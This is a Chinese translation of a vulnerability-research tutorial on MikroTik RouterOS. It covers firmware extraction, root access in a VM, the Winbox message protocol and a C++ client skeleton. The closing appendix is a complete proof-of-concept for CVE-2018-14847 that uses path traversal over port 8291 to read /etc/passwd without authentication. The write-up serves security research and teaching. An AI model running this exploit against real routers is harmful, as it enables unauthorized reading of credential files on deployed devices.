安全性堪憂:手把手教你尋找MikroTik路由器漏洞
一、前言
最近,我在Slack上收到了很多條私信,這些私信都共同指向同一條推文。
為什么這與我有關呢?因為上周日,我在Derbycon上發表了一次關于在MikroTik的RouterOS中尋找漏洞的演講。
現在,Zerodium已經為MikroTik漏洞支付了6位數的獎勵,我認為這是一個好機會,可以讓我對RouterOS的漏洞進行一次完整分析。其實,任何時候都是研究RouterOS漏洞的好時機,因為這是一個有趣的目標。在本文的分析過程中,我發現了一個新的未授權漏洞。相信你也可以找到一些漏洞。
二、奠定基礎
現在,想必各位讀者已經開始規劃獎金要如何分配了。但是,還是需要冷靜下來,我們還有一部分準備工作要做。2.1 獲取軟件最開始,大家其實不必急于在淘寶上購買MikroTik路由器。因為MikroTik在其網站上就提供了RouterOS的ISO鏡像。在下載ISO之后,可以使用VirtualBox或VMWare創建一臺虛擬主機。
我們從ISO中,可以提取系統文件。
- albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
- 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
- p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
- Processing archive: mikrotik-6.42.11.iso
- Extracting advanced-tools-6.42.11.npk
- Extracting calea-6.42.11.npk
- Extracting defpacks
- Extracting dhcp-6.42.11.npk
- Extracting dude-6.42.11.npk
- Extracting gps-6.42.11.npk
- Extracting hotspot-6.42.11.npk
- Extracting ipv6-6.42.11.npk
- Extracting isolinux
- Extracting isolinux/boot.cat
- Extracting isolinux/initrd.rgz
- Extracting isolinux/isolinux.bin
- Extracting isolinux/isolinux.cfg
- Extracting isolinux/linux
- Extracting isolinux/TRANS.TBL
- Extracting kvm-6.42.11.npk
- Extracting lcd-6.42.11.npk
- Extracting LICENSE.txt
- Extracting mpls-6.42.11.npk
- Extracting multicast-6.42.11.npk
- Extracting ntp-6.42.11.npk
- Extracting ppp-6.42.11.npk
- Extracting routing-6.42.11.npk
- Extracting security-6.42.11.npk
- Extracting system-6.42.11.npk
- Extracting TRANS.TBL
- Extracting ups-6.42.11.npk
- Extracting user-manager-6.42.11.npk
- Extracting wireless-6.42.11.npk
- Extracting [BOOT]/Bootable_NoEmulation.img
- Everything is Ok
- Folders: 1
- Files: 29
- Size: 26232176
- Compressed: 26335232
MikroTik使用他們自定義的.npk格式封裝了許多軟件。有一個工具可以對它們實現解封裝,但我還是更加傾向于使用binwalk。albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- DECIMAL HEXADECIMAL DESCRIPTION
- --------------------------------------------------------------------
- 0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
- 4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
- 9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9842177 0x962E01 Unix path: /sys/devices/system/cpu
- 9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9904147 0x972013 Unix path: /sys/devices/system/cpu
- 9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
- 9928138 0x977DCA CRC32 polynomial table, little endian
- 9932234 0x978DCA CRC32 polynomial table, big endian
- 9958962 0x97F632 xz compressed data
- 12000822 0xB71E36 xz compressed data
- 12003148 0xB7274C xz compressed data
- 12104110 0xB8B1AE xz compressed data
- 13772462 0xD226AE xz compressed data
- 13790464 0xD26D00 xz compressed data
- 15613512 0xEE3E48 xz compressed data
- 15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
- albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
- total 64
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
- lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
- drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
- lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
- albinolobster@ubuntu:~/6.42.11$
2.2 打開盒子
在尋找漏洞時,如果能訪問目標的文件系統,那么會很有幫助。如果能夠在本地運行GDB等工具,那么效果也會不錯。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。
幸運的是,我有一個解決方案可以應對這些問題。根據編寫rc.d腳本的S12defconf方式,我們發現RouterOS將會執行存儲在/rw/DEFCONF文件中的任何內容。
普通用戶無法訪問該文件,但考慮到虛擬機和Live CD的獨特性,我們可以借助它來創建文件,并在其中插入所需要的任何命令。要準確描述這一過程,可能太過復雜,因此我制作了一個視頻,長度為5分鐘左右,記錄了從虛擬機安裝到實現Root Telnet訪問的全過程。
視頻:https://youtu.be/OZ11gbF9fwM
通過Root Telnet訪問,現在就可以完全控制虛擬機。我們可以上傳更多的工具、附加到進程、查看日志等。至此為止,我們就已經準備好了,即將開始探索路由器的攻擊面。
三、有人在聽嗎?
借助ps命令,我們可以快速確定網絡可以訪問到的攻擊面。
看起來,路由器會監聽一些眾所周知的端口(HTTP、FTP、Telnet和SSH),但同樣也有一些鮮為人知的端口。端口2000上的btest是帶寬測試服務。端口8291上的mproxy是WinBox與之接口的服務。WinBox是一個在Windows上運行的管理工具,它與Telnet、SSH和HTTP接口共享所有的功能。
四、真正的攻擊面
運行ps命令后,我們得到的輸出結果不太樂觀??雌饋?,好像只有幾個二進制文件能夠作為我們尋找漏洞的目標。但事實并非如此。HTTP服務器和WinBox都使用了自定義的協議,我將其稱為WinboxMessage,實際代碼稱之為nv::message。該協議指定應該將消息傳遞到哪個二進制文件上。事實上,如果安裝了所有軟件包,大約有90多種不同的網絡可以借助WinboxMessage協議訪問二進制文件。還有一種簡單的方法可以找出我們要尋找漏洞的二進制文件??梢栽诿總€包的/nova/etc/loader/*.x3文件中找到一個列表。x3是一個自定義文件格式,所以我寫了一個解析器。在運行后,輸出結果較長,因此我做了一部分刪減,刪減后輸出結果如下。
- albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3
- /nova/bin/log,3
- /nova/bin/radius,5
- /nova/bin/moduler,6
- /nova/bin/user,13
- /nova/bin/resolver,14
- /nova/bin/mactel,15
- /nova/bin/undo,17
- /nova/bin/macping,18
- /nova/bin/cerm,19
- /nova/bin/cerm-worker,75
- /nova/bin/net,20
- ...
x3文件還包含每個二進制文件的“SYS TO”標識符。這是WinboxMessage協議用于確定應處理消息位置的標識符。
五、對WinboxMessage的深入分析
在清楚可以接觸到哪些二進制文件之后,我們其實還要清楚如何與它們進行通信。在本章中,我將介紹幾個例子。
5.1 入門
假如我想和/nova/bin/undo進行對話,應該從哪里開始?我們首先從一些代碼開始講起。我寫了一些C++代碼,它將完成所有WinboxMessage協議格式化和會話處理。我還創建了一個可以繼續構建的程序框架,各位讀者可以繼續完善。
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
大家可以看到,Winbox_Session類負責連接到路由器,此外它還負責身份驗證邏輯以及發送和接收消息。現在,從上面的輸出中可以看出,/nova/bin/undo有一個SYS TO,標識符為17。為了實現undo,我們需要更新代碼,以創建消息,并設置相應的SYS TO標識符。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(17);
5.2 命令與控制
每條消息還需要一個命令。正如稍后我們看到的,每個命令都會調用特定的功能。所有處理程序都使用一些內置的命令(0xfe0000–0xfe00016)和一些具有唯一實現的自定義命令。Pop /nova/bin/undo進入反匯編程序,并找到nv::Looper::Looper構造函數的唯一代碼交叉引用。
按照我標記為undo_handler的偏移到vtable,可以看到以下內容。
這里是undo WinboxMessage處理的vtable。有一些函數直接對應我前面提到的內置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies負責處理)。此外,我還突出標記了未知的命令功能,非內置命令將在這里實現。由于非內置命令通常是最有趣的,所以我們將會跳轉到cmdUnknown。我們可以看到,它會從基于命令的跳轉表開始。
看起來,命令的編號從0x80001開始。稍微查看代碼后,發現命令0x80002似乎有一個有用的字符串可以進行測試。那么,我們來看看是否可以達到“無需redo”的代碼路徑。
我們需要更新框架代碼,以請求命令0x80002。我們還需要添加發送和接收邏輯。
- WinboxMessage msg;
- msg.set_to(17);
- msg.set_command(0x80002);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
- if (msg.has_error())
- {
- std::cerr << msg.get_error_string() << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
在編譯并執行后,我們就得到了想要的“無需redo”。
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
- resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
- nothing to redo
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
5.3 突破口不止一個
在前面的示例中,我們查看了undo中的主處理程序,該處理程序可以簡單地解析為17。但是,大多數二進制文件都有多個處理程序。在下面的示例中,我們將要檢查/nova/bin/mproxy的第二個處理程序。我非常喜歡這個示例,因為這就是CVE-2018-14847的攻擊面,并且這個示例有助于揭開這些奇怪二進制Blob的神秘面紗:
5.4 尋找處理程序
在IDA中打開/nova/bin/mproxy,找到nv::Looper::addHandler導入。在6.42.11中,addHandler只有兩段代碼交叉引用。在這里,很容易識別到我們感興趣的處理程序,也就是第二個處理程序,因為在調用addHandler之前,處理程序標識符被壓入棧中。
如果我們查看將nv::Handler*加載到edi中的位置,我們就會找到處理程序的vtable的偏移量。這個結構看起來有些熟悉:
在這里,我再次強調了未知的命令功能。這一處理程序的未知命令函數支持七個命令:
1、打開/var/pckg/中的文件以進行寫入;
2、寫入打開的文件;
3、打開/var/pckg/中的文件以進行讀取;
4、讀取打開的文件;
5、取消文件傳輸;
6、在/var/pckg/中創建一個目錄;
7、打開/home/web/webfig/中的文件并進行讀取。其中,第4、5、7個命令不需要進行身份驗證。
5.5 打開文件
我們嘗試使用命令7,在/home/web/webfig/中打開一個文件。這是exploit-db截圖中FIRST_PAYLOAD使用的命令。我們仔細查看代碼中對命令7的處理,會發現它首先找到的是一個id為1的字符串。
字符串是我們要打開的文件名。我們來看一下,/home/web/webfig中的哪一個文件比較有趣呢?
事實上,我們在這里看不出來。但在list中,包含已經安裝的軟件包和其版本號的列表。我們將打開的文件請求轉換為WinboxMessage。返回到我們編寫的代碼,我們需要覆蓋set_to和set_command代碼,還需要插入add_string。因此我又重新修改了代碼。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2,2); // mproxy, second handler
- msg.set_command(7);
- msg.add_string(1, "list"); // the file to open
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
運行此代碼后,我們應該能夠看到如下內容:
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
- resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
現在,應該可以看到服務器的響應中包含u2:1818。眼熟不?
由于運行需要較長時間,因此我把讀取文件內容的這部分工作交給讀者自行完成。在CVE-2018-14847的PoC中包含了讀者可能需要的所有提示。
六、總結
至此,我們已經詳細說明了如何獲取RouterOS軟件并創建虛擬機,并展示了RouterOS的攻擊面,并分析如何進入系統二進制文件。我分享了用于處理Winbox通信的代碼,并展示了詳細的使用過程。如果各位讀者還想深入研究協議的細節,那么請閱讀我的演講內容。至少,我們現在知道,MikroTik的安全性仍然是不容忽視的。附錄:CVE-2018-14847 PoC#include
- #include <cstdlib>
- #include <iostream>
- #include <boost/cstdint.hpp>
- #include <boost/program_options.hpp>
- #include <boost/algorithm/string.hpp>
- #include "winbox_session.hpp"
- #include "winbox_message.hpp"
- namespace
- {
- const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release";
- bool parseCommandLine(int p_argCount, const char* p_argArray[],
- std::string& p_ip, std::string& p_port)
- {
- boost::program_options::options_description description("options");
- description.add_options()
- ("help,h", "A list of command line options")
- ("version,v", "Display version information")
- ("port,p", boost::program_options::value<std::string>(), "The port to connect to")
- ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");
- boost::program_options::variables_map argv_map;
- try
- {
- boost::program_options::store(
- boost::program_options::parse_command_line(
- p_argCount, p_argArray, description), argv_map);
- }
- catch (const std::exception& e)
- {
- std::cerr << e.what() << std::endl;
- std::cerr << description << std::endl;
- return false;
- }
- boost::program_options::notify(argv_map);
- if (argv_map.empty() || argv_map.count("help"))
- {
- std::cerr << description << std::endl;
- return false;
- }
- if (argv_map.count("version"))
- {
- std::cerr << "Version: " << ::s_version << std::endl;
- return false;
- }
- if (argv_map.count("ip") && argv_map.count("port"))
- {
- p_ip.assign(argv_map["ip"].as<std::string>());
- p_port.assign(argv_map["port"].as<std::string>());
- return true;
- }
- else
- {
- std::cout << description << std::endl;
- }
- return false;
- }
- }
- int main(int p_argc, const char** p_argv)
- {
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host" << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2, 2);
- msg.set_command(7);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- msg.add_string(1, "//./.././.././../etc/passwd");
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- boost::uint32_t sessionID = msg.get_session_id();
- boost::uint16_t file_size = msg.get_u32(2);
- if (file_size == 0)
- {
- std::cout << "File size is 0" << std::endl;
- return EXIT_FAILURE;
- }
- msg.reset();
- msg.set_to(2, 2);
- msg.set_command(4);
- msg.set_request_id(2);
- msg.set_reply_expected(true);
- msg.set_session_id(sessionID);
- msg.add_u32(2, file_size);
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::string raw_payload(msg.get_raw(0x03));
- std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl;
- for (std::size_t i = 0; i < raw_payload.size(); i++)
- {
- std::cerr << raw_payload[i];
- }
- std::cerr << std::endl;
- return EXIT_SUCCESS;
- }